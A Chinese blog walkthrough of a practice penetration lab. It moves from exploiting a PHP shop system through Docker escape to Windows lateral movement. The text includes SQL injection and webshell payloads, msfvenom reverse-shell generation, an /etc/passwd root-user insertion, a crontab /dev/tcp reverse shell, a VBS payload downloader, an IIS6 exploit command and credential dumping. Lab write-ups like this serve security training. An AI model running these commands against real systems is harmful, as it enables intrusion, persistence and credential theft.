• 从外网打点到渗透内网域控 NASA


    从外网打点到渗透内网域控 NASA

    本次实验环境靶场来自于暗月(moonsec)师傅,文中内容全由个人理解编制,若有错处,大佬勿喷,个人学艺不精;本文中提到的任何技术都源自于靶场练习,仅供学习参考,请勿利用文章内的相关技术从事非法测试,如因产生的一切不良后果与文章作者无关。

    前言

    本次项目是一个是模拟渗透测试 电信诈骗网站(我与诈骗不共戴天),境外人员依赖该网站通过优惠卷诱导受害者进行消费,诈骗受害人金钱。

    任务说明

    nasa靶场是综合考核学员能力的项目,主要是考核 外网打点到渗透内网域控的综合能力。操作系统 包括 linux windows 同存于内网,提供一个公网的web入口点,安全人员对网站/服务器进行综合的渗透测试,最终夺取各个服务器的权限。涉及代码审计 外网打点 多种漏洞配合拿webshell,linux提权 docker逃逸,内网常见漏洞模块利用,内网漫游、域权限的获取等技术。

    通过渗透测试方式,获取五个flag.txt 即可

    靶场拓扑

    #

    环境搭建

    主机名IP账号密码
    ubuntu192.168.59.138ubuntuQWEasd444
    win2003192.168.59.144 ,10.10.10.137administratoradmin5555
    win7192.168.59.197 , 10.10.10.142win7admin5555
    19server-0110.10.10.140nasa\administratorQWEasd.123
    19server-0210.10.10.141nasa\administratorQWEasd.123
    nasa\testQWEasd!@#99

    使用两个网卡 NAT 和 VMnet18

    image-20220804211731833

    虚拟机设置完毕后,我们还需要一个 购买一个 vps ,设置frp反响代理把 ubuntu上的网站映射出去。

    这里我就使用两个 vps 来进行复现,一个用于 msf 和 cs ,一个用于映射ubuntu上的网站

    vsp

    frps.ini

    [common]
    # 监听的端口
    bind_port = 8888
    # 相对于连接密码
    token = QWEasd123
    
    • 1
    • 2
    • 3
    • 4
    • 5
    # 启动服务端
    frps.exe -c frps.ini
    
    • 1
    • 2

    ubuntu

    frpc.ini

    [common]
    server_addr = 124.223.169.73
    server_port = 8888
    token = QWEasd123
    [web]
    type = tcp
    local_ip = 127.0.0.1
    local_port = 80
    # 将访问vps 80 端口的流量 转到 127.0.0.1:80
    remote_port = 80
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    # 启动客户端
    ./frpc -c frpc.ini
    
    # 这里为了方便,我们使用以下命令将他放在后台运行
    nohup ./frpc -c frpc.ini &
    
    • 1
    • 2
    • 3
    • 4
    • 5

    我们访问 vps的80端口,能够出现页面就成功了。

    image-20220804214910306

    外网打点

    端口扫描

    首先对端口进行端口扫描,获取开放的端口,大致了解当前服务器的开放端口,得到开放端口后再进行端口探测,获取端口的指纹信息。

    使用 masscan 扫描全部端口

    这里的 发包数不能太高 否则可能扫描不出结果

    Tips:一般常见的端口都在 10000 以内,可以只扫描 10000 以内的端口

    sudo masscan -p 1-10000 124.223.169.73 --rate=100
    
    • 1

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-r7HH2uDP-1661500900536)(…/…/…/AppData/Roaming/Typora/typora-user-images/image-20220804221409332.png)]

    这里不知道为什么,扫描不出来开放端口。

    把速度和端口数量减少后能扫描出来,但是有遗漏。

    有懂的师傅可以评论解答嘛,感谢。

    使用 nmap 扫描全部端口

    nmap 124.223.169.73 -p 1-65535 -Pn -sV -oN open-port.txt
    
    • 1

    扫描全部的端口特别慢,建议只扫描一部分端口。

    image-20220804223544441

    开放端口

    25/tcp  open  tcpwrapped
    80/tcp  open  tcpwrapped
    110/tcp open  tcpwrapped
    
    • 1
    • 2
    • 3

    从端口上面看,没有什么可以利用的。

    目录扫描

    我们扫描一下网站目录,看看能不能得到什么有用的信息。

    image-20220805093524335

    讲真的我看到结果的时候有点意外,还以为我ip被屏蔽了呢。后经测试发现全部都是正确的。

    4000多的目录只能说明这个系统太大了,不过越大的系统漏洞也就比较多。

    总结了一下比较关键的目录:

    # 后台登录地址
    http://124.223.169.73/admin/webadmin.php?mod=do&act=login
    # 前台登录地址
    http://124.223.169.73/user.php?mod=do&act=login&fromto=http%3A%2F%2F124.223.169.73%2F
    # 重装系统地址
    http://124.223.169.73/install/
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6

    为了方便测试我们,注册一个前台登录的用户

    user:shiliana
    passwd:123456
    
    • 1
    • 2

    后台测试

    我们先测试一下后台是否存在弱口令之类的。

    这里没有测试出弱口令,但是存在一个验证码复用的漏洞。

    我们可以通过社工生成字典进行爆破,或者使用大字典进行爆破。从而获得后台登录权限。

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-oQO9SI3X-1661500900538)(…/…/…/AppData/Roaming/Typora/typora-user-images/image-20220805095101249.png)]

    社工生成字典

    网站地址:https://api.xiaobaibk.com/lab/guess/

    image-20220805095858740

    使用 burp 进行爆破成功获得后台登录密码

    image-20220805100047485

    代码审计

    上面是通过社工获取密码,针对的是弱口令相关,如果用户用高强度的密码,这种方式基本失败。所以还是将重点放在挖掘漏洞这方面,从网站后台,可以看到是《逍遥商城管理系统》通过百度找到这个系统,本地搭建,进行黑盒测试,代码审计找出漏洞。

    密码找回 sql 注入

    hook/yzmlog.hook.php

    function add_yzmlog($user, $yzm) {
    	global $db;
    	$sql_set['yzmlog_user'] = $user;
    	$sql_set['yzmlog_value'] = $yzm;
    	$sql_set['yzmlog_atime'] = time();
    	$sql_set['yzmlog_adate'] = date('Y-m-d');
        # 调用了 pe_ip ,这个方法没有经过严格的过滤
    	$sql_set['yzmlog_ip'] = pe_ip();
    	if ($db->pe_insert("yzmlog", $sql_set)) {
    		return true;
    	}
    	else {
    		return false;
    	}
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15

    public/function/global.func.php

    // 获取ip
    function pe_ip()
    {
        if (isset($_SERVER)){
            if (isset($_SERVER["HTTP_X_FORWARDED_FOR"])){
                $realip = $_SERVER["HTTP_X_FORWARDED_FOR"];
            } else if (isset($_SERVER["HTTP_CLIENT_IP"])) {
                $realip = $_SERVER["HTTP_CLIENT_IP"];
            } else {
                $realip = $_SERVER["REMOTE_ADDR"];
            }
        } else {
            if (getenv("HTTP_X_FORWARDED_FOR")){
                $realip = getenv("HTTP_X_FORWARDED_FOR");
            } else if (getenv("HTTP_CLIENT_IP")) {
                $realip = getenv("HTTP_CLIENT_IP");
            } else {
                $realip = getenv("REMOTE_ADDR");
            }
        }
        $ip_arr = explode(',', $realip);
        return $ip_arr[0];
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23

    具体调用

    hook/yzmlog.hook.php

    function send_yzm($type, $user, $apitype = 'juhe') {
    	global $db, $cache_setting;
    	pe_lead('hook/qunfa.hook.php');
    	$user = pe_dbhold($user);
    	$yzm = rand(100000,999999);
    	//$linshi_pw = substr(md5($pe['host_root'].$email.rand(1,9999).time()), 5, 6);
    	if ($type == 'email') {
    		$email['qunfa_name'] = "尊敬的{$user}用户,请查收您的验证码";	
    		$email['qunfa_text'] = "尊敬的用户,您的邮箱验证码为:{$yzm},验证码有效期为30分钟!请尽快验证,谢谢!";			
    		$result = qunfa_email($user, $email);
    	}
    	else {
    		//一分钟内最多发送3次
    		$nowtime = time() - 60;
    		$yzmnum = $db->pe_num("yzmlog", " and `yzmlog_user` = '{$user}' and `yzmlog_atime` >= '{$nowtime}'");
    		if ($yzmnum >= 3) {
    			return array('result'=>false, 'show'=>'您发送的太频繁了,请稍后再试');
    		}
    		//一天内未验证次数超过5次的手机号就不让再发送了
    		$yzmnum = $db->pe_num("yzmlog", " and `yzmlog_user` = '{$user}' and `yzmlog_state` = 0 and `yzmlog_adate` >= '".date('Y-m-d')."'");
    		if ($yzmnum >= 5) {
    			return array('result'=>false, 'show'=>'您今日发送太多了,请明日再试');
    		}
    		//一天内未验证次数超过10次的ip就不让再发送了
    		$yzmnum = $db->pe_num("yzmlog", " and `yzmlog_ip` = '".pe_ip()."' and `yzmlog_state` = 0 and `yzmlog_adate` >= '".date('Y-m-d')."'");
    		if ($yzmnum >= 10) {
    			return array('result'=>false, 'show'=>'您今日发送太多了,请明日再试');
    		}
    		$result = qunfa_sms($user, "【{$cache_setting['sms_sign']}】尊敬的用户,您的验证码为:{$yzm}。如非本人操作,请忽略本短信");
    	}
    	
    	if ($result['result']) add_yzmlog($user, $yzm);
    	return $result;
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34

    但是因为网站只是测试环境所以没有发送验证码的功能,利用失败。

    手机版 支付存在 sql注入

    module/mobile_user/back.php

     
    
    $menumark = 'lxb';
    $cook_uid = $_SESSION['user_id'];
    switch ($act) {
            case 'list':
            default:
                
            $order_list = $db2->getAll('select * from xy_order where user_id='.$cook_uid.' and (  order_state = "whuishou" or  order_state = "endhuishou" ) order by id desc  ');
             $goods = array();
             $i=0;
            foreach( $order_list as $k => &$v )
            { 
                $products = $db2->getAll( 'select * from xy_orderdata where order_id='.$v['order_id'] );
             
                foreach( $products as $pk => &$vs )
                {
                   
                    $goods[$i] = $db2->getOne( 'select product_name from xy_product where product_id= '.$vs['product_id'] );
                     $i++;
                }
                
                $v['product_name'] = implode(',', $goods );
                $v['product_logo'] = $vs['product_logo'];
            }
            
            $menutitle = '我的回收';
    		$seo = pe_seo($menutitle);
    		include(pe_tpl('huishou_list.html'));
        	break;
        	 
        	case 'dohuishou':
        	 
        	$order_id = trim( $_REQUEST['order_id'] );
         	// 这里存在注入,传入数据未经过滤
        	$order = $db2->getRow('select * from xy_order where order_id="'.$order_id.'"');
        	if( empty( $order ) )
        	{
        	     json_error('订单不存在');
        	}
        	if( $order['order_pstate'] == 0 )
        	{
        	    json_error('订单未付款');
        	}
        	if( $order['order_state'] == 'whuishou' )
        	{
        	    json_error('回收中,请勿重复操作');
        	}
        	if( $order['order_state'] == 'endhuishou' )
        	{
        	    json_error('回收成功,请勿重复操作');
        	}
        	$money = max( $order['order_product_money'], $order['order_money'] );
        	
        	
        	$order_goods = $db2->getAll( 'select * from xy_orderdata where order_id="'.$order_id.'"' );
        	$back_money_all = 0;
        	foreach($order_goods as $kg => $ov   )
        	{
        	    $goods = $db2->getRow( 'select * from xy_product where product_id='.$ov['product_id'] );
         
        	    $hsmoney = $goods['product_bmoney'];
        	    if( $hsmoney <= 0 )
        	    {
        	        $xy_set['reback_percent'] = $xy_set['reback_percent'] ? $xy_set['reback_percent'] : 100 ;
        	        $hsmoney = $ov['product_smoney'] *  $xy_set['reback_percent'] / 100;
        	    }
                $back_money_all += $hsmoney;
        	}
        	 
        	#$xy_set['reback_percent'] = $xy_set['reback_percent'] ? $xy_set['reback_percent'] : 100 ;
            #$huishou_money = ( $xy_set['reback_percent'] / 100 ) * $money;
            
            $huishou_money = $back_money_all;
            
            
            
            $db2->query('update xy_order set order_state = "whuishou" ,huishou_money="'.$huishou_money.'" where order_id="'.$order_id.'" ');
            json_ok('操作成功,等待审核');
        	    break;
        	
            case 'apply' :
            $order_id = trim( $_GET['order_id'] );
    		$menutitle = '回收';
    		$seo = pe_seo($menutitle);
    		include(pe_tpl('huishou.html'));
        	break;
         
        	
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    • 54
    • 55
    • 56
    • 57
    • 58
    • 59
    • 60
    • 61
    • 62
    • 63
    • 64
    • 65
    • 66
    • 67
    • 68
    • 69
    • 70
    • 71
    • 72
    • 73
    • 74
    • 75
    • 76
    • 77
    • 78
    • 79
    • 80
    • 81
    • 82
    • 83
    • 84
    • 85
    • 86
    • 87
    • 88
    • 89
    • 90

    如果 $act=‘dohuishou’,再传入 order_id ,其中 order_id 没有经过过滤就造成 sql注入。

    由于注入点为手机版的网页,所以在火狐浏览器上下载一个 User-Agent Switcher 模拟手机的 User-Agent

    登录抓取包使用sqlmap 对其进行注入,找到后台登录密码。

    sqlmap -r C:\Users\Anonymous\Desktop\sql.txt -D yhj -T xy_admin -C admin_name,admin_pw --dump --dbms mysql --batch
    
    • 1
    GET /user.php?mod=back&act=dohuishou&order_id=* HTTP/1.1
    Host: 124.223.169.73
    User-Agent: Mozilla/5.0 (Android 11; Mobile; rv:83.0) Gecko/83.0 Firefox/83.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Connection: close
    Cookie: PHPSESSID=kikvq8tmr4tv2isbe4ntp328v5
    Upgrade-Insecure-Requests: 1
    
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11

    image-20220805120546982

    解密获得密码

    image-20220805120715502

    任意文件删除漏洞

    admin/module/db.php

    switch ($act) {
    	//####################// 数据导入 //####################//
    	case 'import':
    		//pe_error('演示站已关闭导入数据功能');
    		pe_token_match();
    		if ($_g_dbname) {
    			$db_list = pe_dirlist("{$pe['path_root']}data/dbbackup/{$_g_dbname}/xiaoyao_*#v*.sql");
    			count($db_list) == 0 && pe_error("目录下没有有效的数据库文件");
    			$db_listname = explode('#', $db_list[0]);
    			pe_goto("webadmin.php?mod=db&act=import_one&path={$_g_dbname}&mark={$db_listname[0]}&num=1");
    		}
    		else {
    			pe_error("请选择需要导入的数据库目录...");
    		}
    	break;
    	//####################// 数据导入(执行) //####################//
    	case 'import_one':
    		if (is_file($sqlname = "{$pe['path_root']}data/dbbackup/{$_g_path}/{$_g_mark}#v{$_g_num}.sql")) {
    			$num = $_g_num + 1;
    			sql_import($sqlname) ? pe_success('数据导入中请勿刷新!', "webadmin.php?mod=db&act=import_one&path={$_g_path}&mark={$_g_mark}&num={$num}") : pe_error('数据导入失败...', 'webadmin.php?mod=db');
    		}
    		else {		
    			pe_success('数据导入完成!', 'webadmin.php?mod=db');
    		}
    	break;
    	//####################// 数据备份 //####################//
    	case 'backup':
    		$back_path = "{$pe['path_root']}data/dbbackup/".date('Ymd@His')."/";
    		$table_list = $db->sql_selectall("show table status from `{$pe['db_name']}`");
    		$mark = substr(md5(uniqid().rand(1, 999999).time().rand(1, 999999)), rand(1,24), 8);
    		$pe_cutsql = "/*#####################@ pe_cutsql @#####################*/\n";
    		if (isset($_p_pesubmit)) {//不分卷
    			pe_token_match();
    			if ($_p_backup_cut && $_p_backup_where == 'down') pe_error('本地下载不支持分卷备份...');
    			if ($_p_backup_cut && !$_p_backup_cutsize) pe_error('请填写分卷文件大小...');
    			if ($_p_backup_where == "server") {
    				!is_dir($back_path) && mkdir($back_path, 0777, true);
    				!is_writable($back_path) && pe_error("{$back_path} 目录没有写入权限...");
    			}
    			if (!$_p_backup_cut) {
    				$sql_arr = array();
    				foreach ($table_list as $v) {
    					$sql_arr = array_merge($sql_arr, dosql($v['Name']));
    				}
    				$sql = implode($pe_cutsql, $sql_arr);
    				if ($_p_backup_where == 'down') {
    					down_file($sql, 'xiaoyao_db.sql');
    				}
    				elseif ($_p_backup_where == 'server') {
    					if (file_put_contents("{$back_path}xiaoyao_{$mark}#v1.sql", $sql)) {
    						file_put_contents("{$back_path}index.html", '');
    						pe_success("数据备份完成!");
    					}
    					else {
    						pe_error("数据备份失败...");
    					}
    				}
    			}
    			else {
    				$vnum = 1;
    				$sql_arr = array();
    				foreach ($table_list as $v) {
    					$sql_arr = array_merge($sql_arr, dosql($v['Name']));
    					$sql = implode($pe_cutsql, $sql_arr);
    					if (strlen($sql) >= $_p_backup_cutsize * 1000) {
    						file_put_contents("{$back_path}xiaoyao_{$mark}#v{$vnum}.sql", $sql);
    						$sql_arr = array();
    						$vnum++;
    					}
    				}
    				$sql && file_put_contents("{$back_path}xiaoyao_{$mark}#v{$vnum}.sql", $sql);
    				file_put_contents("{$back_path}index.html", '');
    				pe_success("数据分卷备份完成!");
    			}
    		}
    	break;
    	//####################// 数据删除 //####################//
    	case 'del':
    		//pe_error('演示站未开启删除权限');
    		pe_token_match();
            // 其中的 $_g_dbname 未经过过滤
    		pe_dirdel("{$pe['path_root']}data/dbbackup/{$_g_dbname}");
    		pe_success('删除完成!');
    	break;
    	//####################// 数据备份恢复 //####################//
    	default:
    		$backup_list = (array)pe_dirlist("{$pe['path_root']}data/dbbackup/*");
    		rsort($backup_list);
    		$seo = pe_seo($menutitle='数据备份', '', '', 'admin');
    		include(pe_tpl('db_list.html','admin'));
    	break;
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    • 54
    • 55
    • 56
    • 57
    • 58
    • 59
    • 60
    • 61
    • 62
    • 63
    • 64
    • 65
    • 66
    • 67
    • 68
    • 69
    • 70
    • 71
    • 72
    • 73
    • 74
    • 75
    • 76
    • 77
    • 78
    • 79
    • 80
    • 81
    • 82
    • 83
    • 84
    • 85
    • 86
    • 87
    • 88
    • 89
    • 90
    • 91
    • 92

    在数据删除处,传入的路径没有经过过滤直接拼接会造成删除任意路径下的文件。

    任意文件上传配合重装漏洞 getshell

    在上面扫描目录的时候我们就发现了,存在一个 install 的重装系统路径,不够需要删除一个指定文件才能重新安装系统。

    image-20220805121633570

    刚好我们上面存在一个删除任意文件的漏洞,我们可以利用漏洞来删除 install.lock 文件。

    我们拼接一下利用路径:

    ../../install/install.lock
    
    • 1

    burp 抓包修改删除文件

    image-20220805122003524

    重装系统插入 一句话

    **Tips:**重装系统的危害比较大,在真实的渗透测试环境一定要取得授权才能进行下一步操作。

    image-20220805123515456

    在这里面填写的信息会写入到 config.php 的配置文件中,所以构造以下语句写入一句话:

    xy_');eval($_POST['x']);//
    
    • 1

    其中的数据库用户名和密码不知道的话,我们可以在公网上开放一个mysql服务让它去连接我们的mysql服务。

    这里我是知道的所以就不弄这么麻烦了。

    我们使用蚁剑进行连接

    image-20220805123917296

    我们可以重新上传一个马或者上传其他工具的马,把配置文件改回去复制网站出现错误。

    主机提权

    信息收集

    上传脚本 LinEnum.sh 进行信息收集,脚本可以去GitHub上下载。

    #########################################################
    # Local Linux Enumeration & Privilege Escalation Script #
    #########################################################
    
    [-] SUID files:
    -rwsr-xr-x 1 root root 233984 Nov  8  2014 /usr/bin/find
    -rwsr-xr-x 1 root root 53616 May 17  2017 /usr/bin/chfn
    -rwsr-xr-x 1 root root 75376 May 17  2017 /usr/bin/gpasswd
    -rwsr-xr-x 1 root root 44464 May 17  2017 /usr/bin/chsh
    -rwsr-xr-x 1 root root 54192 May 17  2017 /usr/bin/passwd
    -rwsr-xr-x 1 root root 39912 May 17  2017 /usr/bin/newgrp
    -rwsr-xr-- 1 root messagebus 294512 Nov 22  2016 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
    -rwsr-xr-x 1 root root 464904 Nov 19  2017 /usr/lib/openssh/ssh-keysign
    -rwsr-xr-x 1 root root 40000 Mar 29  2015 /bin/mount
    -rwsr-xr-x 1 root root 70576 Oct 28  2014 /bin/ping
    -rwsr-xr-x 1 root root 27416 Mar 29  2015 /bin/umount
    -rwsr-xr-x 1 root root 40168 May 17  2017 /bin/su
    -rwsr-xr-x 1 root root 61392 Oct 28  2014 /bin/ping6
    
    
    [+] Possibly interesting SUID files:
    -rwsr-xr-x 1 root root 233984 Nov  8  2014 /usr/bin/find
    
    
    [+] Looks like we're in a Docker container:
    12:pids:/docker/683a11bdee302e4836309a784a8c619858b420ddf5b17caed2b26c726fd1eab5
    11:hugetlb:/docker/683a11bdee302e4836309a784a8c619858b420ddf5b17caed2b26c726fd1eab5
    10:memory:/docker/683a11bdee302e4836309a784a8c619858b420ddf5b17caed2b26c726fd1eab5
    9:cpu,cpuacct:/docker/683a11bdee302e4836309a784a8c619858b420ddf5b17caed2b26c726fd1eab5
    8:freezer:/docker/683a11bdee302e4836309a784a8c619858b420ddf5b17caed2b26c726fd1eab5
    7:net_cls,net_prio:/docker/683a11bdee302e4836309a784a8c619858b420ddf5b17caed2b26c726fd1eab5
    6:blkio:/docker/683a11bdee302e4836309a784a8c619858b420ddf5b17caed2b26c726fd1eab5
    5:perf_event:/docker/683a11bdee302e4836309a784a8c619858b420ddf5b17caed2b26c726fd1eab5
    3:devices:/docker/683a11bdee302e4836309a784a8c619858b420ddf5b17caed2b26c726fd1eab5
    2:cpuset:/docker/683a11bdee302e4836309a784a8c619858b420ddf5b17caed2b26c726fd1eab5
    1:name=systemd:/docker/683a11bdee302e4836309a784a8c619858b420ddf5b17caed2b26c726fd1eab5
    -rwxr-xr-x 1 root root 0 Mar  5 06:13 /.dockerenv
    
    
    ### SCAN COMPLETE ####################################
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40

    可以看到可以使用 SUID 提权,并且机器在 docker容器 中。

    find SUID 提权

    find /etc/passwd -exec whoami \;
    
    • 1

    image-20220805130009340

    反向代理 msf 上线

    我准备了两台 vps 一台用于 代理web网站 ,另外一台用于 代理 msf。

    在 vps 上设置 frps.ini

    [common]
    bind_port = 5555
    token = QWEasd123
    
    • 1
    • 2
    • 3
    # 后台运行
    nohup ./frps -c frps.ini &
    
    • 1
    • 2

    在内网的 kali 上设置 frpc.ini

    其中的端口映射可以有多个

    [common]
    server_addr = 121.4.60.34
    server_port = 5555
    token = QWEasd123
    [msf]
    type = tcp
    local_ip = 127.0.0.1
    local_port = 6666
    remote_port = 6666
    [msf1]
    type = tcp
    local_ip = 127.0.0.1
    local_port = 7777
    remote_port = 7777
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    # 后台运行
    nohup ./frpc -c frpc.ini &
    
    • 1
    • 2

    msf 上线

    生成 Linux 木马

    msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=121.4.60.34 lport=6666 -f elf > L.elf
    
    • 1

    image-20220805133549879

    上传到目标机器上,使用find 提权执行

    find /etc/passwd -exec "./L.elf" \;
    
    • 1

    msf 监听

    use exploit/multi/handler
    set payload linux/x64/meterpreter/reverse_tcp
    set lhost 127.0.0.1
    set lport 6666
    run
    
    • 1
    • 2
    • 3
    • 4
    • 5

    image-20220805133736856

    获得会话

    image-20220805140645203

    docker 逃逸

    在之前的信息收集中,我们知道我们是在一个 docker 容器中,并且我们利用 suid 提权可以获得 docker 的root权限。

    因为docker 逃逸会用到交互式shell,所以我们直接先添加一个root权限用户,并且反弹一个shell来进行 docker 逃逸。

    添加 root 权限用户

    openssl passwd -1 -salt hack pass@123
    echo 'hack:$1$hack$Uv3HBaOpAk0U48M39ZdtG1:0:0:root:/root:/bin/bash' >> /etc/passwd
    
    • 1
    • 2

    在msf会话中输入 shell 后输入下面的代码

    echo 'hack:$1$hack$Uv3HBaOpAk0U48M39ZdtG1:0:0:root:/root:/bin/bash' >> /etc/passwd
    
    • 1

    image-20220805141016644

    创建交互 shell

    python -c 'import pty; pty.spawn("/bin/bash")'
    su hack 
    # 输入密码
    
    • 1
    • 2
    • 3

    开始 docker 逃逸

    # 创建目录
    mkdir /test
    # 将宿主的目录挂载到test目录
    mount /dev/sda1 /test
    # 改变根目录为 /test
    chroot /test
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6

    反弹宿主机 shell

    echo '/bin/bash -i >& bash -i >&/dev/tcp/121.4.60.34/8888 0>&1' > /tmp/sec.sh && chmod +x /tmp/sec.sh && cat /tmp/sec.sh && echo '*/1 * * * * root bash /tmp/sec.sh' >>/etc/crontab
    
    • 1

    在 vps 监听

    nc -lnvp 8888
    
    • 1

    成功获得反弹 shell

    image-20220805142252367

    上线 msf

    这里我们使用 wget 进行下载我们的后门文件并运行

    wget http://121.4.60.34:7777/L.elf
    
    • 1

    image-20220805143529948

    msf 成功获得了宿主机的 root 权限

    image-20220805143712596

    已经拿下了一台边缘主机,接下来就是进行内网渗透了,这里应该有应该 flag 如下:

    image-20220805144023524

    moonsec_flag{182be0c5cdcd5072bb1864cdee4d3d6e}
    
    • 1

    内网渗透

    内网信息收集

    在信息收集方面,要收集内网常用端口 445,443等以及存活主机。

    fscan扫描内网

    这个工具在内网扫描中十分好用,在主机扫描的时候还可以进行漏洞扫描。

    GitHub下载地址: https://github.com/shadow1ng/fscan

    # msf会话上传文件命令
    upload /home/kali/桌面/fscan_amd64_1.6 /root
    # fscan 扫描命令
    ./fscan_amd64_1.6 -h 192.168.59.0/24 -np -no -nopoc
    
    • 1
    • 2
    • 3
    • 4

    扫描结果

    image-20220805145218094

    扫描出两台主机

    192.168.59.197  # Windows 7
    192.168.59.144	# winodws 2003
    
    • 1
    • 2

    这里我们看到两台主机都进行了 ms17-010(永恒之蓝)的扫描,一会我们可以使用 msf 的攻击模块去打一下试试。

    msf 设置代理扫描内网

    添加路由

    run get_local_subnets
    run autoroute -s 192.168.59.0 255.255.255.0
    run autoroute -p
    
    • 1
    • 2
    • 3

    image-20220805145731993

    启动代理 使用VERSION 5

    background
    use auxiliary/server/socks_proxy
    run
    
    • 1
    • 2
    • 3

    image-20220805145851677

    设置 kali 的 /etc/proxychains4.conf 文件

    sudo vi /etc/proxychains4.conf 
    
    • 1

    添加 socks5 127.0.0.1 1080

    proxychains4 调用nmap扫描内网

    sudo proxychains4 nmap -sT -Pn 192.168.59.144 -p 445,80,443
    
    • 1

    image-20220805152309404

    使用nmap 扫描网段,显示存在 254 台主机并且端口全部都是开放的,不知道什么毛病。

    有懂的师傅解答一下,十分感谢!

    ms17-010 攻击

    use exploit/windows/smb/ms17_010_eternalblue
    # 这里只有我们能够访问到它,所以设置正向木马
    set payload windows/x64/meterpreter/bind_tcp
    set lport 7777
    set rhosts 192.168.59.144
    run
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-i0v6XBma-1661500900553)(…/…/…/AppData/Roaming/Typora/typora-user-images/image-20220805153623820.png)]

    这里两台主机都利用失败了,寻找其他方法。

    iis6.0 溢出攻击获得权限

    这里我也不知道师傅们是怎么找到这个漏洞的,如果实在是找不到漏洞了可以尝试在边缘主机上搭一个代理然后使用 nessus 进行扫描说不定会有意外收获。

    proxychains4  python2 ii6.py 192.168.59.144 80 121.4.60.34 8889
    
    • 1

    在 vps 监听

    nc -lvnp 8889
    
    • 1

    成功获得 shell

    image-20220805155907517

    上线cs

    设置监听器

    image-20220805161252546

    设置后门下载地址

    image-20220805161408897

    下载后门文件,并运行上线。

    # 我们 cd 到这个目录其他目录可能不能写入,这个目录默认是可以写入的
    cd C:\WINDOWS\Temp\
    
    echo set a=createobject(^"adod^"+^"b.stream^"):set w=createobject(^"micro^"+^"soft.xmlhttp^"):w.open^"get^",wsh.arguments(0),0:w.send:a.type=1:a.open:a.write w.responsebody:a.savetofile wsh.arguments(1),2 >>downfile.vbs
    
    cscript downfile.vbs http://121.4.60.34:80/download/cs.exe cs.exe
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6

    image-20220805201729794

    查看 cs 上线

    image-20220805202808943

    使用 CVE-2009-1535-IIS6 2003 提权

    我们在cs中上传 提权 exp

    image-20220805203615431

    使用 提权 exp执行之前的木马给我反弹一个系统权限。

    image-20220805203904311

    这里的提权手法肯定不止一个,我们可以 systeminfo 拿去在线网站进行检测。

    flag 的获取以及当前主机信息收集

    获取flag

    shell type "C:\Documents and Settings\Administrator\root.txt"
    moon_flag{7555051b6d8a2dca27a29f9cb0d2e3a6}
    
    • 1
    • 2

    image-20220805205756984

    抓取 hash

    hashdump
    
    • 1

    image-20220805210205394

    抓取明文密码

    logonpasswords
    
    • 1

    image-20220805210148207

    查看当前网卡

    shell ipconfig
    
    • 1

    存在两个网段。

    image-20220805210722447

    内网主机扫描

    这里因为笔记本的内存比较小没办法把所有虚拟机都打开,所以我只开了三台。

    image-20220805211209703

    横向渗透

    得到了存活主机,我们可以使用 hash 传递试一试能不能拿下其他主机。

    image-20220805211524157

    这里利用失败了,我们使用 python版的 psexec 试试

    或者利用 msf 中的 ms17_010_psexec 进行登录

    最后得到 win7 权限

    image-20220806151851389

    win 7 的信息收集

    抓取 hash

    image-20220806152121617

    抓取 明文密码

    image-20220806153258671

    这里我们得到了一个域用户,一会域渗透能够用到。

    Authentication Id : 0 ; 1118427 (00000000:001110db)
